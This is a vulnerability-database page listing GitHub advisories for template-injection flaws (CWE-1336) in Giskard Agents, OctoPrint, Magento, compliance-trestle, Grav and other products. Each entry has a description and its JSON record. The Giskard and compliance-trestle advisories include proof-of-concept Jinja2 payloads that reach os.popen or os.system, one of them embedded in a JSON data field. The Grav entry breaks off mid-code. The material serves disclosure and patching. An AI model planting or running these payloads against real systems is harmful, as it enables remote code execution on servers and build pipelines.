Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

398 vulnerabilities reference this CWE, most recent first.

GHSA-FRV4-X25R-588M

Vulnerability from github – Published: 2026-03-27 22:17 – Updated: 2026-03-31 18:50
VLAI
Summary
Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment
Details

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard-agents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.2a1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard-agents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.1a1"
            },
            {
              "fixed": "1.0.2b1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T22:17:30Z",
    "nvd_published_at": "2026-03-31T15:16:17Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -\u003e Self:\n    if isinstance(message, str):\n        message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -\u003e Message:\n    template = _inline_env.from_string(self.content_template)\n    rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n    autoescape=False,\n    # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment()  # Same as giskard\u0027s _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ \u0027\u0027.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render())  # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ \u0027\u0027.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__[\u0027os\u0027].popen(\u0027id\u0027).read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template\nresult = await workflow.run()          # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents \u003c=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.",
  "id": "GHSA-frv4-x25r-588m",
  "modified": "2026-03-31T18:50:47Z",
  "published": "2026-03-27T22:17:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34172"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Giskard-AI/giskard-oss"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment"
}

GHSA-FWCH-GX6Q-XHXG

Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31
VLAI
Details

In JetBrains IntelliJ IDEA before 2026.1 code execution was possible via template injection in the Copyright plugin

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T19:16:28Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains IntelliJ IDEA before 2026.1 code execution was possible via template injection in the Copyright plugin",
  "id": "GHSA-fwch-gx6q-xhxg",
  "modified": "2026-05-29T21:31:23Z",
  "published": "2026-05-29T21:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49382"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FWFG-VPRH-97PH

Vulnerability from github – Published: 2023-10-10 21:21 – Updated: 2024-10-07 16:46
VLAI
Summary
OctoPrint vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
Details

Impact

OctoPrint versions up until and including 1.9.2 contain a vulnerability that allows malicious admins to configure a specially crafted GCODE script through the Settings that will allow code execution during rendering of that script.

An attacker might use this to extract data managed by OctoPrint, or manipulate data managed by OctoPrint, as well as execute arbitrary commands with the rights of the OctoPrint process on the server system.

Please note that GCODE files uploaded to be printed are not affected! This vulnerability exclusively affects GCODE Scripts to be executed on connection to the printer, print pause, resume etc, as described in the documentation, to be found under Settings > GCODE Scripts and configurable only by users with the ADMIN permission.

Patches

The vulnerability has been patched in version 1.9.3.

Workarounds

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and to not blindly configure arbitrary GCODE scripts found online or provided to them by third parties.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by tianxin Wu (Bearcat), Vulnerability Researcher at Numen Cyber Labs, Singapore.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OctoPrint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-10T21:21:12Z",
    "nvd_published_at": "2023-10-09T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOctoPrint versions up until and including 1.9.2 contain a vulnerability that allows malicious admins to configure a specially crafted [GCODE script](https://docs.octoprint.org/en/master/features/gcode_scripts.html) through the Settings that will allow code execution during rendering of that script.\n\nAn attacker might use this to extract data managed by OctoPrint, or manipulate data managed by OctoPrint, as well as execute arbitrary commands with the rights of the OctoPrint process on the server system.\n\nPlease note that GCODE files uploaded to be printed are *not* affected! This vulnerability exclusively affects GCODE Scripts to be executed on connection to the printer, print pause, resume etc, as described [in the documentation](https://docs.octoprint.org/en/master/features/gcode_scripts.html), to be found under Settings \u003e GCODE Scripts and configurable only by users with the `ADMIN` permission.\n\n### Patches\n\nThe vulnerability has been patched in version 1.9.3.\n\n### Workarounds\n\nOctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and to not blindly configure arbitrary GCODE scripts found online or provided to them by third parties.\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed to OctoPrint by tianxin Wu (Bearcat), Vulnerability Researcher at Numen Cyber Labs, Singapore.",
  "id": "GHSA-fwfg-vprh-97ph",
  "modified": "2024-10-07T16:46:03Z",
  "published": "2023-10-10T21:21:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OctoPrint/OctoPrint"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/octoprint/PYSEC-2023-195.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OctoPrint vulnerable to Improper Neutralization of Special Elements Used in a Template Engine"
}

GHSA-G783-P3GP-4Q89

Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32
VLAI
Details

: Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) allows : Command Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 1.5.121.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-82",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T13:15:14Z",
    "severity": "CRITICAL"
  },
  "details": ": Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) allows : Command Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 1.5.121.",
  "id": "GHSA-g783-p3gp-4q89",
  "modified": "2026-04-01T18:32:01Z",
  "published": "2024-10-16T15:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49271"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/unlimited-elements-for-elementor/vulnerability/wordpress-unlimited-elements-for-elementor-free-widgets-addons-templates-plugin-1-5-121-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/unlimited-elements-for-elementor/wordpress-unlimited-elements-for-elementor-free-widgets-addons-templates-plugin-1-5-121-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GF66-VVM8-54JQ

Vulnerability from github – Published: 2025-08-27 00:31 – Updated: 2025-08-27 00:31
VLAI
Details

Agiloft Release 28 does not properly neutralize special elements used in an EUI template engine, allowing an authenticated attacker to achieve remote code execution by loading a specially crafted payload. Users should upgrade to Agiloft Release 31.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-35113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-26T23:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Agiloft Release 28 does not properly neutralize special elements used in an EUI template engine, allowing an authenticated attacker to achieve remote code execution by loading a specially crafted payload. Users should upgrade to Agiloft Release 31.",
  "id": "GHSA-gf66-vvm8-54jq",
  "modified": "2025-08-27T00:31:16Z",
  "published": "2025-08-27T00:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-35113"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-239-01.json"
    },
    {
      "type": "WEB",
      "url": "https://wiki.agiloft.com/display/HELP/What%27s+New%3A+CVE+Resolution"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-35113"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GFMM-WW6F-5MM5

Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2025-03-04 18:14
VLAI
Summary
Magento Open Source allows Improper Neutralization of Special Elements Used
Details

Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could lead to arbitrary code execution by an admin-privilege authenticated attacker. Exploitation of this issue does not require user interaction.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.4-p1"
            },
            {
              "fixed": "2.4.4-p4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T18:14:52Z",
    "nvd_published_at": "2023-06-15T19:15:11Z",
    "severity": "HIGH"
  },
  "details": "Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could lead to arbitrary code execution by an admin-privilege authenticated attacker. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-gfmm-ww6f-5mm5",
  "modified": "2025-03-04T18:14:53Z",
  "published": "2023-06-15T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29297"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source allows Improper Neutralization of Special Elements Used"
}

GHSA-GG2G-P7XC-QQMM

Vulnerability from github – Published: 2026-05-28 19:01 – Updated: 2026-05-28 19:01
VLAI
Summary
compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)
Details

A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).

The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.

This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.

The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.

Details

In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:

    @staticmethod
    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
        new_output = template.render(**lut)
        output = ''
        error_countdown = JinjaCmd.max_recursion_depth
        while new_output != output and error_countdown > 0:
            error_countdown = error_countdown - 1
            output = new_output
            random_name = uuid.uuid4()
            dict_loader = DictLoader({str(random_name): new_output})
            # jinja_env does not use SandboxedEnvironment
            jinja_env = Environment(
                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
                extensions=extensions(),
                autoescape=True,
                trim_blocks=True
            )
            template = jinja_env.get_template(str(random_name))
            new_output = template.render(**lut)
        return output

When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.

PoC (Proof of Concept)

The vulnerability survives even when the template itself is fully trusted and static. Tested on Jinja2 version 3.1.6.

  1. Create a fully trusted template (template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
  1. Generate a malicious OSCAL SSP document (system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
  "system-security-plan": {
    "uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
    "metadata": {
      "title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
      "last-modified": "2024-01-01T00:00:00+00:00",
      "version": "1.0",
      "oscal-version": "1.0.4"
    },
    "import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
  }
}
  1. Execute the trestle author jinja command against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp

(Note: A similar payload injected via the -lut yaml argument yields identical results.)

  1. Verify arbitrary command execution:
ls poc.txt
# The file poc.txt is successfully created on the filesystem.

An attacker can also execute arbitrary shell commands directly, e.g.:

      "title": "{{ namespace.__init__.__globals__.os.system('id') }}",

Impact

This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T19:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A High severity Server-Side Template Injection (SSTI) vulnerability exists in the `trestle author jinja` command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).\n\n**The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.** \n\nThis distinction is critical: the template author may only intend to render plain text (e.g., `Title: {{ ssp.metadata.title }}`), but because of the recursive parsing, the data field itself becomes executable. \n\nThe vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.\n\n## Details\nIn `trestle/core/commands/author/jinja.py`, the `render_template` method performs recursive template evaluation to allow nesting within expressions:\n\n```python\n    @staticmethod\n    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -\u003e str:\n        new_output = template.render(**lut)\n        output = \u0027\u0027\n        error_countdown = JinjaCmd.max_recursion_depth\n        while new_output != output and error_countdown \u003e 0:\n            error_countdown = error_countdown - 1\n            output = new_output\n            random_name = uuid.uuid4()\n            dict_loader = DictLoader({str(random_name): new_output})\n            # jinja_env does not use SandboxedEnvironment\n            jinja_env = Environment(\n                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),\n                extensions=extensions(),\n                autoescape=True,\n                trim_blocks=True\n            )\n            template = jinja_env.get_template(str(random_name))\n            new_output = template.render(**lut)\n        return output\n```\n\nWhen a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker\u0027s string is injected into the output. During the next pass of the `while` loop, this output is loaded into a new `Environment` via `DictLoader` and rendered again. Because `jinja_env` does not use `SandboxedEnvironment`, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.\n\n## PoC (Proof of Concept)\nThe vulnerability survives even when the template itself is fully trusted and static. \nTested on `Jinja2` version `3.1.6`.\n\n1. Create a fully trusted template (`template.j2`) that simply renders a data variable from an external SSP model:\n```jinja2\nTitle: {{ ssp.metadata.title }}\n```\n\n2. Generate a malicious OSCAL SSP document (`system-security-plans/malicious_ssp/system-security-plan.json`) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:\n```json\n{\n  \"system-security-plan\": {\n    \"uuid\": \"208dbe11-e6e2-411a-af18-095cd17a6a70\",\n    \"metadata\": {\n      \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027touch poc.txt\u0027) }}\",\n      \"last-modified\": \"2024-01-01T00:00:00+00:00\",\n      \"version\": \"1.0\",\n      \"oscal-version\": \"1.0.4\"\n    },\n    \"import-profile\": { \"href\": \"trestle://profiles/test_profile/profile.json\" }\n  }\n}\n```\n\n3. Execute the `trestle author jinja` command against the malicious data:\n```bash\ntrestle author jinja -i template.j2 -o out.md -ssp malicious_ssp\n```\n*(Note: A similar payload injected via the `-lut` yaml argument yields identical results.)*\n\n4. Verify arbitrary command execution:\n```bash\nls poc.txt\n# The file poc.txt is successfully created on the filesystem.\n```\n\nAn attacker can also execute arbitrary shell commands directly, e.g.:\n```json\n      \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}\",\n```\n\n## Impact\nThis vulnerability allows arbitrary command execution with the privileges of the running process. If `compliance-trestle` is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.",
  "id": "GHSA-gg2g-p7xc-qqmm",
  "modified": "2026-05-28T19:01:38Z",
  "published": "2026-05-28T19:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-gg2g-p7xc-qqmm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/247fcce289f60103f3d8e28d8ec51a6986b94fb6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/7d107b3ac53caca7bde97a6278b23cd739d94525"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)"
}

GHSA-GJC5-8CFH-653X

Vulnerability from github – Published: 2025-12-02 00:36 – Updated: 2025-12-02 00:36
VLAI
Summary
Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)
Details

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {
    $allowed = $config->get('system.twig.safe_filters');
    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {
        return new TwigFilter($name, $name);
    }
    if ($config->get('system.twig.undefined_filters')) {
        if (function_exists($name)) {
            if (!Utils::isDangerousFunction($name)) {
                user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED);

                return new TwigFilter($name, $name);
            }

            /** @var Debugger $debugger */
            $debugger = $this->grav['debugger'];
            $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`"));
        }

        return new TwigFilter($name, static function () {});
    }

    return false;
});

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safe_filters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

/**
 * Class Twig
 * @package Grav\Common\Twig
 */
class Twig
{
    /** @var Environment */
    public $twig;
    /** @var array */
    public $twig_vars = [];
    /** @var array */
    public $twig_paths;
    /** @var string */
    public $template;

    // Constructor
    public function __construct(Grav $grav)
    {
        $this->grav = $grav;
        $this->twig_paths = [];
    }

    // Twig initialization method
    public function init()
    {
        if (null === $this->twig) {
            /** @var Config $config */
            $config = $this->grav['config'];
            /** @var UniformResourceLocator $locator */
            $locator = $this->grav['locator'];
            /** @var Language $language */
            $language = $this->grav['language'];

